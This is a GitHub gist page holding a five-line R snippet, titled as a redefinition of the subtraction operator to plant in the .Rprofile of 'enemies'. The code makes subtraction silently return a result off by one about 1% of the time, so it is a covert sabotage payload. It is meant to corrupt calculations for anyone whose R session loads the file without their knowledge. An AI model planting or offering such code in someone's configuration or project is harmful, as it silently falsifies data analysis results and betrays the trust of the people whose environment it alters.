Created
August 21, 2019 19:38
-
-
Save stufield/a43cadc6a026de51c8c930ee65bd2c53 to your computer and use it in GitHub Desktop.
Re-define `-` in .Rprofile of enemies
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
`-` <- function(x, y) { | |
if (runif(1) < 0.01) | |
base::`-`(x, y) + 1 | |
else | |
base::`-`(x, y) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment